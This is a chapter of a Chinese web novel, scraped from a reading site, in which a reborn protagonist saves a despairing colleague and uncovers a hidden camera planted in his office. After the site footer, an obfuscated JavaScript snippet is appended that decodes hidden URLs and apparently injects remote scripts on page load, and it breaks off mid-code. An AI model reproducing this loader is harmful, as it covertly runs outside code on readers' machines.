第15章 生死时速
第15章生死时速(第1/2页)
出租车引擎的轰鸣声在深夜的街道上格外刺耳,像一把钝刀划过凝固的寂静。
林远舟靠在座椅上,手指反复按着手机侧键。屏幕亮了又暗,冷白色的光一次次映亮他的瞳孔,又一次次将他推回黑暗。张涛的号码拨出去第五次,听筒里传来的依然是机械女声:“您拨打的用户已关机。”
那声音不带任何感情,每一个字都像一颗冰凉的珠子,滚进耳道,落进胃里,沉积成一块沉重的寒铁。
22:47。距离他收到那条消息,过去了整整十二分钟。
车载空调吹出的风带着一股廉价的柠檬香精味,混着司机座位上飘来的烟草气息。林远舟的舌尖尝到了苦味——不是真实存在的味觉,是肾上腺素过载时神经系统产生的错觉,是前世那个午后,他划掉新闻推送时嘴里泛起的、同样的苦涩。
“师傅,能再快一点吗?”
司机从后视镜里瞥了他一眼。那是个五十多岁的男人,眼袋浮肿,握着方向盘的手背上有两道陈旧的烫伤疤痕。他没说话,只是把油门又踩深了些。引擎发出沉闷的低吼,整个车厢开始轻微震动。
窗外的路灯连成一条橘黄色的线,在视网膜上拖曳出残影,像某种倒计时的进度条。林远舟闭上眼睛,太阳穴处有根血管在突突地跳。每一次心跳都像一记鼓槌,敲在颅骨内壁上,沉重而急促。
系统界面在意识深处展开。界面边缘泛着不稳定的红光——那是威胁评估模块被触发的信号。这一次的提示不再是之前那种冷静的条目罗列,界面上的文字不断闪烁重组,仿佛分析模块本身也在运算中挣扎。林远舟能感知到那种异常:字符的边角偶尔会碎裂成像素般的亮点,又在眨眼间重新聚合。系统在透支某种他不理解的能量。
【警告:检测到目标人物行为模式与前世关键节点高度重合。】
【重合度:89.7%。前世对应事件:华宇科技融资发布会前七日,张涛递交辞呈,次日坠楼。】
【提醒:当前时间线存在已知干扰源(孟知行),行为模式偏移量超过安全阈值。】
【建议:尽快取得物理接触。目标人物情绪波动已达临界值。】
林远舟睁开眼。
系统没有给出更具体的推演。没有防御窗口期,没有致命节点计数,甚至没有确认威胁的具体形式——那些是第三境“知机”才具备的预判能力。而他现在的第二境“观色”,能提供的只有一件事:基于已有情报的模式匹配和行为预警。
足够了。
他前世亲眼见过那个结局,不需要系统告诉他张涛面临的是什么。他记得那天手机屏幕上新闻标题的每一个字,记得自己站在鼎盛传媒会议室的落地窗前,窗外是九月明晃晃的阳光,而他只是低头看了一眼,然后划掉,继续修改那份永远没人认真看的PPT。他甚至没有点开新闻详情。他甚至不知道张涛有一个女儿。
手指无意识地攥紧,指甲陷进掌心。疼痛传来,真实而锋利。这一次,疼痛不是幻觉。
出租车在红灯前停住。刹车片摩擦的尖啸声从底盘传上来,座椅的弹簧在他身下发出细微的**。林远舟的手指敲击着膝盖,指尖传来的触感冰冷而真实——西裤面料下的膝盖骨坚硬,关节处的皮肤因为反复敲击开始发麻。
前世张涛跳楼的时间点是融资发布会前一天。他记得那个日期,因为那天他正在鼎盛传媒的会议室里做毫无意义的PPT汇报,手机弹出新闻推送时,他只是扫了一眼标题就划掉了。
那是别人的死亡,和他无关。
这一世,他必须在一切发生前赶到。
“还有多远?”
“高架下来再拐两个弯,七八分钟。”司机的声音沙哑,带着长期熬夜留下的疲惫,“小伙子,这个点往科技园跑的,都是去捞人的。”
林远舟没有接话。他摸出另一部手机——那部他从不用来联系工作,也不存任何社交软件的老旧功能机。塑料外壳上布满了细小的划痕,边角的漆已经磨掉,露出里面灰色的金属底色。屏幕亮起,银行APP的余额显示在刺眼的白色背光下:376,421.53元。
三十七万六千四百二十一块五毛三。每一个数字都精确到分。
三十六万,不多。但够解燃眉之急。
这笔钱和前世无关。二十二岁的身体继承不了前世的财富,但这副身体里装着的,是一个提前十七年知道哪些股票值得买入、哪些基金会在三个月后暴涨的灵魂。在过去几个月里,他像蚂蚁搬家一样,用实习工资、兼职收入和许安然咖啡店的零星分红,一点一点地累积,一笔一笔地操作。每一次盈利都小心到近乎变态——不能引起注意,不能留下痕迹,不能让任何数据异常暴露一个重生者的存在。他记得第一次买入那只股票时的情景:在网吧的角落,用临时身份证开的户,手指悬在鼠标上方足足五分钟,掌心全是汗。那是一种从未有过的恐惧——不是怕亏钱,是怕被看见。
高架两侧的写字楼飞速后退,灯火稀疏得像一块烧焦的电路板上残留的焊点。出租车拐进匝道,离心力把林远舟的身体推向车门,肩胛骨撞上玻璃,发出沉闷的响声。窗外飘进来的空气变了味——从市区的油烟和尾气,变成了科技园区特有的、夹杂着工业制冷剂气味的干燥空气。那气味让他的鼻腔发痒,某种关于前世的记忆被搅动:鼎盛传媒的机房,永远嗡嗡作响的服务器,张涛去华宇科技前,他们一起在机房里调试过系统。
那时张涛还笑,笑容疲惫但真实。
林远舟把功能机收回口袋,指尖触碰到内衬里一张折叠的便签。纸张的边缘锋利,在他指腹划出一道浅浅的白痕。他知道上面写着什么——那是今早在公司时陈铮悄悄塞给他的。陈铮递纸条的动作很轻,像传递一片羽毛。他的眼神始终没有与林远舟对视,只是垂着眼帘,用只有两个人能听见的音量说了句“你看看”,然后转身就走。林远舟注意到他的手指在离开时擦过自己的手背——冰凉的,微微在抖。
纸上只有一行字:“赵丽财务审批权限异常,涉及数额超正常职级权限三倍。查得到签名,查不到审批流程。”
陈铮。前世在鼎盛传媒默默无闻做了八年,最后被赵丽用一个莫须有的报销问题逼走。林远舟记得那天的场景——陈铮抱着纸箱走出公司大门,雨下得很大,没有人送他。他的背挺得很直,但林远舟从消防通道的窗户里看见,他走出大门后站了很久,雨水顺着他的头发往下淌,肩线在湿透的衬衫下颤抖。那个画面林远舟当时只扫了一眼就移开了目光。
今生这个内向到几乎没什么存在感的高级策划,正以他自己都没意识到的方式,成为林远舟手里最锋利的刀。不是因为他有野心,恰恰是因为他没有野心——一个只想安安静静做事的人,被逼到墙角后的反抗,往往最不计代价。
出租车拐进科技园区。路两旁的绿化带在夜色里模糊成两团墨色的雾,只有间隔的路灯投下一个个苍白的光圈。华宇科技那栋六层小楼出现在视野里,外墙的蓝色玻璃幕墙映着路灯的光,像一面结冰的湖。大部分窗户都黑着,只有三楼东北角还亮着灯。
那是张涛的办公室。
亮着灯的窗口在整栋黑暗的建筑中显得突兀,像一只不肯闭上的眼睛。灯光不是惨白的日光灯色,而是偏黄的暖光——那是张涛桌上的台灯,林远舟认得。前世张涛说过,他不喜欢日光灯的冷光,总觉得那会让代码看起来更像判决书。
23:15。
“在这儿停就行。”
林远舟推开车门,初秋深夜的风灌进领口。风很干,很硬,带着某种像是烧焦电路板的金属气味,还有远处工地上残留的水泥粉尘味道。那气味钻进鼻腔,粗糙得像砂纸擦过黏膜。他用力吸了一口气,让那股凉意顺着气管冲进肺里,压住胸口那团正在膨胀的焦灼。
付钱时,司机从车窗探出头:“小伙子,人捞出来了就别再弄丢了。”
林远舟的手顿了一下。他看向司机,那双浮肿的眼睛正认真地看着他,眼角的皱纹很深,像刀刻的痕迹。司机递过来一张名片,纸片边缘已经卷了角:“我跑夜班,随时叫。跑了十二年,见过太多往科技园赶的年轻人。”
林远舟接过名片。纸张温热,带着司机掌心的温度。上面印着名字和电话,还有一行小字:24小时。安全第一。
“谢谢。”
大楼门口的保安室亮着灯,白炽灯管的冷光透过玻璃窗洒出来,在地上切出一个明亮的矩形。值班的保安正低头刷手机,短视频的背景音乐隔着玻璃都能听见,偶尔夹杂着男人低低的笑声。林远舟刷了张涛之前给的门禁卡——卡片边缘已被磨得光滑,透明覆膜下浮起细小的气泡。读卡器发出轻微的“滴”声,那声音在空旷的大厅里转了一圈才消散。保安抬头看了一眼,认出是最近常来加班的合作方,点了点头,又低下头去。手机屏幕的光映在他脸上,把眼角的皱纹照得更深。
大厅里的空气是静止的,带着中央空调关闭后残留的凉意,以及清洁剂留下的、类似柠檬消毒水的味道。林远舟的皮鞋踩在大理石地砖上,每一步都激起轻微的回声,那些回声在黑暗中叠在一起,像有人在身后不远不近地跟着。
电梯门紧闭,门上挂着一张手写的告示牌——“维修中,请走楼梯。”字迹歪歪扭扭,墨迹已经发灰,显然挂了不止一天。
林远舟转身推开消防通道的门。
铁门沉重,铰链发出生涩的**。楼梯间里更冷,水泥墙面渗出阴湿的凉意,空气裹着灰尘的味道和若有若无的霉味——那是常年不见阳光的空间独有的气息。声控灯在头顶亮起,发出一层暗淡的黄光,照在灰色的台阶上。每一级台阶边缘都被磨得圆润,露出里面更浅的水泥色。
林远舟开始上楼。脚步声在空荡的楼梯间里激起回音,那些回音撞上墙壁,弹回来,又散开,像是无数个自己在同时赶路。每上一层,声控灯就在身后熄灭,前方的灯亮起,光和暗交替着推他向前。
二楼。三楼的标识在门楣上用红漆写着,漆面已经斑驳。
每上一层,系统界面的红光就稳定一分——不是威胁减弱了,而是他与目标的物理距离在缩短。红光从闪烁的警告变成了持续的、有节奏的脉动,像一颗额外的心脏在意识深处跳动。
推开防火门。三楼走廊里的日光灯管有两根坏了,剩下的两根明灭不定,光线在墙壁上投下不断颤抖的条纹,把空间切割成明暗交错的牢笼。林远舟循着光的方向走去,经过一排排空荡的工位。电脑显示器在黑暗中排列着,屏幕全黑,在走廊灯光的映照下反射出暗淡的光泽,像某种废弃仪器的墓碑。键盘上积着薄薄的灰,某个工位的椅背上搭着一件外套,袖口垂下来,在气流中轻轻晃动。
空气里混杂着陈旧的气味——冷却的打印机墨粉、堆积的文件纸张、隔夜外卖残留的油脂酸味,以及一种更深层的、属于长时间加班的疲惫气息。那是一种无法描述的混合,但只要闻过一次就不会忘记。
张涛坐在最里面那间玻璃隔间里。
门没关。从走廊就能透过玻璃看见他——男人的背弓着,形成一个痛苦的角度。手肘撑在桌面,双手按住太阳穴,指节弯曲的弧度像是要按进自己的头颅。他的衬衫后背湿了一片,布料贴在皮肤上,勾勒出肩胛骨突起的轮廓。面前的办公桌上摊着两份打印好的文件——A4纸,黑色标题,右下角签名的位置还空着。一份夹在透明文件夹里,规规整整;另一份被揉皱又抚平,纸面上留着水渍的痕迹,那些水渍在纸上晕开,把几个字的边缘都洇模糊了。
辞职信。
文件旁边,一个木制相框面朝下扣着。浅樱桃木的颜色,边缘刻着简单的花纹。张涛的手不时伸过去,碰一下相框边缘,又缩回来。那个动作很轻,轻到像是怕惊扰什么,指尖在木框上停留的时间不到一秒。
办公桌上还有别的东西。咖啡杯——杯沿口沾着褐色的渍迹,层层叠叠,记录了这一天里倒了多少杯;杯底只剩下干涸的残渣,深褐色几乎发黑,在白色陶瓷内壁上结成网状的纹路。烟灰缸里挤满了烟蒂,长长短短,有一个还保持着最后的完整形状,滤嘴处有牙印咬过的痕迹;有几个被按灭在桌面上,在白色压克力表面留下焦黑的烫痕,那些痕迹很深,是用力的、反复碾压的结果。
林远舟在门口站了三秒。
张涛没有抬头。他可能以为来的是加班的某个员工——但谁会在这个时间点还在?科技园最后一班公交是十点半,这个楼层只有他一个人。也可能他根本就没注意到有人来了。他的呼吸很重,每一次吸气都带动肩膀升起,每一次呼气都让那弓起的背更低一分。手指压在太阳穴上,掌根处的青筋在台灯下微微凸起。
空气里的烟味浓得像固体,混着速溶咖啡的酸涩气,还有另一种更浅的味道——汗水干掉后留下的咸腥味,以及衣服穿了太久没换产生的织物酸气。这些气味层层叠加,把这个玻璃隔间变成了一个被绝望密封的容器。
“张涛。”
男人的肩膀剧烈地抖了一下。不是普通的惊吓,是那种精神高度紧绷时被突然触碰的、几乎要散架的反应。他抬起头,林远舟看见一张几乎认不出的脸。
眼白布满血丝,那些血丝从眼角向瞳孔蔓延,像瓷器碎裂时炸开的纹路。眼眶深陷成青黑色,不是熬夜的黑眼圈,是更深层的、从骨头里透出来的暗色。颧骨在皮肤下突兀地撑出棱角,两颊凹陷下去,让整张脸看起来像一个被掏空的面具。嘴唇干裂起皮,下唇中间有一道细小的血口,显然是被牙齿咬破的。
张涛看着他,嘴唇动了动。声带发出的第一个音被卡在喉咙里,他不得不清了清嗓子——那声音粗糙得像是砂纸刮过铁皮。
“林经理。”他扯了一下嘴角,那表情像是在练习微笑,但失败了。嘴角只抬起不到一秒就落下,留下一个比哭还难看的弧度,“你怎么来了?这么晚...”
“你的电话打不通。”
“手机没电了。”张涛的手下意识地摸向口袋,又收回来。这个动作太快了——快到手指刚触到裤袋边缘就缩回,快到林远舟立刻意识到他在说谎。张涛的瞳孔在他说出“没电”时向左下方移动了一瞬,这是人在编造信息时本能的眼动,连张涛自己都没有察觉。
林远舟注意到他右手一直握着一个东西——手机。屏幕朝下扣在腿上,边缘露出半厘米的亮光。手机明明开着。
“我来,是因为有人告诉我你打算明天辞职。”
张涛的脸部肌肉抽动了一下。不是惊讶,是某种早已预见的疼痛终于降临时,身体做出的本能反应。他没有问“你怎么知道”——那双充血的眼睛里已经没有容纳惊讶的空间了。他只是慢慢地把手从太阳穴上放下来,指尖还在微微发抖。双手落在桌面上,十指不自然地张开,像是在寻找某种支撑。
“这事跟你没关系,林经理。”他的声音更低了,低到林远舟需要微微前倾才能听清,“这个项目...救不了了。专利下不来,资金链断在眼前,赵丽那边压着我所有的申请不批——”他的声音在这里断了一下,喉结滚动,吞下了什么,“我不能连累你。鼎盛那边给你安排别的活,你能力好,很快就能...”
(本章未完,请点击下一页继续阅读)第15章生死时速(第2/2页)
“我不能连累你。”
又是这句话。前世他说过的,林远舟记得。那时他在电话里听张涛说完这五个字,觉得对方只是客套。现在他看着张涛说这话时的眼睛——那双眼睛里没有客套,只有某种认命般的平静。
林远舟走进隔间。皮鞋踩在塑胶地板上,发出轻微的、粘连的声音。他拿起桌面上那份揉皱的辞职信,纸面粗糙,被汗水浸过又被体温烤干,变得脆硬。纸张在手指间发出细微的摩擦声。有些字被水渍洇开了,“辞呈”两个字的笔画晕成蓝色的云团,签名的位置有几处起笔的痕迹——笔尖划破纸面,留下深浅不一的沟痕,像是反复按下又收回,按下又收回,最后还是没有写下去。
“前世。”
林远舟听见自己说出这两个字,声音平静得连自己都有些意外。那个词从他的喉咙里滑出来,没有经过任何修饰,直接落进这个充斥着烟味和绝望的玻璃隔间。
“前世的今天,你也是这么说的。然后第二天,你死了。”
张涛的瞳孔猛地收缩。
那是一种生理性的、无法伪装的反应。虹膜周围的白圈在一瞬间变得清晰,整个人的身体向后靠去,椅背承受了突然的重量,发出一声尖锐的金属摩擦声。
空气在那一瞬间凝固。日光灯管的电流声突然被放大,嗡嗡地填充着所有沉默的间隙。那是人耳通常会自动过滤的白噪音,但此刻它清晰得像是有人把音量旋钮拧到了尽头。办公桌上有只果蝇绕着咖啡杯飞,翅膀振动的频率在林远舟的耳中被无限放慢。
张涛盯着林远舟,嘴巴张开又合上。脸上的表情在困惑和某种本能的抗拒之间反复切换——眉头先皱起,再松开,再皱起。他的左手无意识地抓住了桌沿,指骨一节节发白。
“你...说什么?”
林远舟没有回答。他把辞职信对折,纸张在中间形成一道锐利的折痕,纤维断裂时发出细微的脆响。再对折。四层纸叠加,厚度变成了原来的四倍,手感从柔软变成了坚硬。然后从中间撕开。
纸张破裂的声音在空荡的办公室里格外清脆。那声音像是某种宣告——他撕的不是纸,是一道通往深渊的轨迹。
撕成四片。碎片在他指尖发热,边缘粗糙,有几处毛边挂住了他的指纹。
再撕成八片。八片变成十六片。
碎片落进烟灰缸,覆在那些扭曲的烟蒂上,落在焦黑的烫痕上。白纸黑字被烟灰染脏,被残留的咖啡渍浸透。
“有人要的不是这个项目失败。”林远舟把最后一片纸屑丢进去,抬起眼,与张涛对视,“有人要的是你死。你死了,这个局才完整。”
张涛站了起来。
椅子向后滑出,转轮在塑胶地板上发出一声尖利的摩擦声,撞在文件柜上。铁皮柜门被撞出沉闷的回响,柜顶上的一摞文件夹晃了晃,最上面那本滑下来,摔在地上,纸张散落一地。没有人去捡。
“林经理,你到底在说什么?”他的声音提高了半度,但声音里的颤抖更明显了。那不是愤怒,是恐惧——一种被剥开保护层后直面某种巨大阴影的恐惧。
“融资发布会。”林远舟一字一顿,每个字都像一颗钉子钉下去,“星辰资本,孟知行。专利陷阱只是第一步,赵丽的阻挠是第二步。他们的目标从一开始就不是华宇科技的技术,而是你的人命。”
他停顿了一秒。办公室里的钟在走,秒针跳动的声音在沉默中被放大。
“发布会那天,你会死。然后一切都会被做成意外。一场完美的、不留痕迹的意外。股价暴跌,专利落入他们手里,你女儿——”
他没有说下去。
张涛的嘴唇在发抖。不只是嘴唇,是整个下颌都在不受控制地颤动。他张开手,又握紧,指甲掐进掌心,手背上的青筋暴起。握紧,又张开,掌心的皮肤被掐出几道白印,然后迅速充血变红。
“你怎么知道这些?”
“因为我经历过。”林远舟看着他,声音没有任何起伏,但每一个字都沉得像浸了水,“前世,你死了。华宇科技败诉,专利被抢注——你女儿——”
他说到这里停住了。
张涛的表情变了。不是震惊,不是恐惧。是更原始的、动物被逼到墙角时露出的那种绝望。他的眼眶在几秒之内湿透——眼泪来得那么快,快到像是早就蓄满的池子,只是终于决了堤。但眼泪没有掉下来,只是悬在下眼睑上,在台灯的光里折射出细小的碎光。
他死死地盯着林远舟,目光像要从对方眼睛里掘出什么埋藏的东西。胸口起伏的幅度更大,每一次呼气都带着轻微的啸音,像是肺里的空气在狭窄的气道里挣扎。
“你——”他的声音在喉咙里碎了,又拼起来,“你到底是谁?”
“一个欠你一条命的人。”
林远舟从口袋里掏出手机。功能机的外壳在指间冰凉,按键按下时发出清脆的“咔嗒”声。屏幕亮起,银行APP的余额明晃晃地显示在两人之间。376,421.53。数字在白色背光下清晰得像是用刀刻的。
“这是三十六万。不多,但够华宇撑过这一周。专利申请加急通道明天一早就去办——我认识专利局加急窗口的人,九点开门,你第一个进去。陈铮那边已经掌握了赵丽违规审批的证据。”
他把手机推向张涛的方向。塑料外壳在桌面上滑过,发出一阵低沉的摩擦声,停在张涛的手边。
“钱算我个人借你。不要利息,不要股份,不用签协议。你要还,活到发布会之后再还。”
张涛低头看着那个数字。他不动,一言不发,只是看着。呼吸很重,胸腔起伏的幅度大得像是每一次呼吸都要耗尽全部力气。手指几次抬起来又放下去,指尖悬在屏幕上那串数字上方,却始终不碰下去,像是在触碰某样会灼伤手的东西。
“钱的事...”他的声音沙哑到几乎没有音高,只是气息和声带摩擦的声响,“我不能...这太多了...”
“就当是我投资。”林远舟拿起桌上那个面朝下扣着的相框。木框入手温热,那是被张涛反复抚摸传上去的体温。他翻过来。
照片里一个小女孩扎着马尾,碎发被风吹起来,在阳光下变成金色的绒边。她冲着镜头露出缺了一颗门牙的笑,眼睛眯成两条缝,背后是某个公园的草坪,远处有风筝的影子。照片右下角印着日期:距离现在,一年零三个月。
“你女儿还小。她需要一个活着的父亲。”
张涛的身体晃了一下。
他伸手扶住办公桌边缘,指节因为用力而泛白——不是普通的白,是血液全被挤压出去的、像骨头表面那层瓷釉的白。肩膀开始抖,从微颤到剧烈耸动只用了几秒钟。他没有发出声音——或者说他在拼命按住那些声音,用牙齿咬住嘴唇,用喉咙锁住气流,把所有快要溢出喉咙的东西都咽回去。那些被咽下的声音堵在胸腔里,让他的呼吸变得破碎而不规则。
只是有些东西咽不住。
从紧闭的眼缝里挤出来的液体,沿着脸侧的沟壑往下淌。鼻翼两旁的纹路,嘴角到下巴的褶皱,每一道都成了水流过的河床。泪水滴在桌上的烟灰缸里,滴在林远舟撕碎的辞职信残片上,浸透了那些写着字的碎纸,让墨迹再一次洇开。
他弓着背,肩膀耸动,整个人蜷缩成比坐着时更小的一团。喉咙里终于漏出一声压抑到极点的呜咽——那声音很短,不到一秒就被掐断了,像一只被捂住嘴的鸟。
过了很久。办公桌上的电子钟跳到23:37。
他的肩膀停止了颤抖。手指从桌沿松开,留下几道汗水抹过的湿痕。再抬头时,眼睛红得像被砂纸打磨过,嘴唇上自己咬出的那道血口又裂开了,渗出一颗血珠。
他开口,声音沙哑到几乎听不清:“谁。”
然后重复了一遍,这一次声音稳了,稳得像一把刚开过刃的刀:“谁要杀我。”
林远舟拉开他对面的椅子,坐下。椅子的坐垫是网面的,凹陷处还留着白天某个人坐过的温度。
“说清楚之前,先回答我一个问题。”
他的目光越过张涛的肩,扫向那扇亮着的窗户。玻璃上映出两个人的倒影,模糊而透明,像是两个浮在半空中的幽灵。窗外是无边的黑暗,科技园区的路灯在远处连成一串暗淡的光点,像是沉在水底的珠子。
“你办公室里,有没有最近新添的东西?任何你觉得不太对劲的设备、摆件、或者是...”
林远舟的声音停了一秒,尾音微微上扬,带出一个问句:“同事送的礼物?”
张涛愣了一下。
林远舟看着他的表情变化——从困惑到思索,从思索到回忆,从回忆到某个突然的、让他脊背僵直的意识。
张涛慢慢转身,看向自己桌上。他的目光扫过显示器、键盘、文件架、笔筒——最后停在那盆绿萝上。
叶子翠绿,藤蔓垂下来,最长的一根快要够到桌面。花盆很精致,白色陶瓷的,印着卡通蘑菇的图案。放在显示器旁边,不显眼,也不突兀。
“赵丽...一周前送的。”张涛的声音轻得像在自言自语,“她说办公室空气不好,绿萝能吸甲醛。”
林远舟站起身走过去。他的脚步很轻,但在经过张涛身边时,能听见对方变得急促的呼吸。
他没有系统赋予的透视能力,没有什么能扫描物理设备的模组。目光在绿萝上扫过——叶子上有细小的灰尘,说明好几天没打理了;泥土表面干燥,边缘微微龟裂;花盆是普通的市售款式,底部有釉下彩的印记。
花盆没问题。
但他记得许安然说过的话。那天下午在咖啡馆,阳光从百叶窗的缝隙漏进来,在木桌上切出平行的光条。许安然往咖啡里加了两块糖,用勺子慢慢搅动,忽然说起一件事——不是对他说的,更像是在自言自语。
“现在市面上的*****有个特点。为了拍摄角度,它们很少被正着摆放。你注意看有弧度、有倾斜角的东西——如果角度刁钻到人不会那么摆,那多半有问题。”
她说完抬起头,冲他笑了笑,那个笑容很淡,淡到像是在暗示什么,又好像什么都没暗示。
林远舟的视线落在泥土里插着的装饰小蘑菇上。彩色塑料做的,一共七个,模仿的是童话里的蘑菇造型。
六个蘑菇直直向上。
有一个的角度微微向左倾斜——大约偏了十五度。那个角度很微妙,微妙到如果不刻意观察根本不会注意。但它正对着的,是张涛座位的方向。不是对着整个办公室,而是精准地对着张涛平时坐的位置——头的高度,脸的高度。
林远舟伸手。他的手指没有抖,动作很稳。拇指和食指捏住那个倾斜的蘑菇,塑料表面冰凉,底部有细小的螺纹。
拔出来。
泥土松动时发出细微的“沙沙”声。蘑菇底部嵌着一颗比米粒还小的镜头,在台灯下反射出一星金属的光泽。镜头旁边是更小的电路板,细如发丝的导线,一片比指甲盖还薄的电池。
张涛的脸色在一瞬间变得煞白——不是苍白,是死灰。那种皮肤下所有血液同时退潮的白,让他的脸看上去像一具蜡像。他的嘴张开,喉咙里发出一个破碎的气音,手抓住桌沿,整个人像是被什么东西重击了一下。
“赵丽...”他的声音在发抖,抖得几乎不成字,“她一周前来我办公室...说空气不好...还帮我浇了水...”
“不是赵丽。”林远舟把蘑菇连同镜头一起丢进烟灰缸。塑料碰在玻璃上发出清脆的声响,镜头滚了一圈,镜面朝上,反射出天花板上那根坏掉的灯管。他端起咖啡杯,里面残留的咖啡渣和液体晃了晃,发出一股酸涩的冷香,然后浇上去。
深褐色的液体浸没镜头,浸没电路板,浸没那片电池。液面在烟灰缸里上升,淹过第一个烟蒂,淹过撕碎的辞职信残片。镜头上浮起几个细小的气泡,然后不动了。
“赵丽没这个脑子。是她背后的人。她表弟——或者表弟的人。”
他转身看向张涛。两个人的距离不到两米,中间隔着空气里的烟味和咖啡的酸涩,隔着桌上那堆被毁掉的****残骸,隔着一段前世的死亡和今生的选择。
“现在,我回答你的问题。”
窗外有车灯扫过。远光灯的白光从窗户左上角扫到右下角,在天花板上拖出一道移动的明亮条带,又消失在黑暗中。那道光掠过张涛的脸,掠过他眼睛里的血丝,掠过他咬破的嘴唇上那颗还没干涸的血珠。
整栋楼里只有这个隔间亮着灯。在黑暗的建筑里,在三楼东北角,六面玻璃围成的透明房间,像一座孤岛。四周是暗沉沉的、未知的海。
“孟知行。星辰资本的高级投资经理。你以为是来给华宇送钱的伯乐。”
车灯的光完全消失了。办公室里只剩下台灯的暖黄光芒,和日光灯管明灭不定的冷白。两种光在林远舟的脸上交汇,把他的眼睛切成明暗两半。
“他不是伯乐。”
林远舟看着烟灰缸里逐渐被咖啡渍浸没的镜头残骸。那点金属的反光最后闪了一下,然后彻底暗了。咖啡表面浮起一层油亮的光泽,倒映着天花板上坏掉的灯管,倒映着这间玻璃隔间的天花板,倒映着两个人的影子。
他开口,声音没有起伏,但每一个字都沉得像是从胸腔最深处挖出来的:
“是猎手。”
停顿。电子钟跳到23:41。
“而你,从一开始就是猎物。”
这句话落在空气里,没有激起回声。张涛站在那里,一动不动。他的影子被台灯投在身后的墙上,巨大而变形。他低着头,看着那盆被拔掉一个蘑菇的绿萝,看着烟灰缸里那片镜头残骸,看着自己桌面上那些被按灭在桌面上的烟蒂烫痕。
然后他慢慢抬起手,拿起那个木制相框。
手指擦去玻璃面上的灰尘,露出女儿缺了一颗门牙的笑。
他看了很久。
久到林远舟以为他不会说话了。
然后张涛把相框重新立在桌上,正面朝向自己。做完这个动作后,他抬起头,眼睛里还残留着泪水的光泽,但刚才那种绝望的、被逼到墙角的动物般的恐惧,已经变成了一种更硬的东西。那东西还没有名字,但它让张涛的下颌绷紧,让他的肩膀不再抖动。
“林经理。”
他的声音还是沙哑的,但这一次,每个字都咬得很稳。
“告诉我所有。我要知道全部。”
窗外又有一辆车的灯光扫过。这一次,光从下往上,照亮了张涛的脸——他的眼睛,他咬破的嘴唇,他下颌那条绷紧的肌肉线。
林远舟看着那道光,看着光里张涛的脸,看着他已经十七年没有见过的、一个活着的张涛的决心。
他点头。
“从头说起。”
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 